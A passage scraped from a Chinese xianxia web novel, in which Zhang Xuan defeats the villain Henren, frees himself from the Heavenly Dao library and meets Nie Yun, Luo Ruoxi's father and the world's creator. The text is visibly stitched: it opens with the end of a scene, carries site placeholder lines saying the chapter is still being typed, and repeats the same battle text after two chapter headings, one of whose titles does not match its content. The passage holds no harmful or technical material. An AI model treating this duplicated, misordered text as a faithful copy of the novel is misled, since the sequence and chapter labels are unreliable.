“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零二章 混乱初现 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零三章 神女斗蛟龙(一) 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 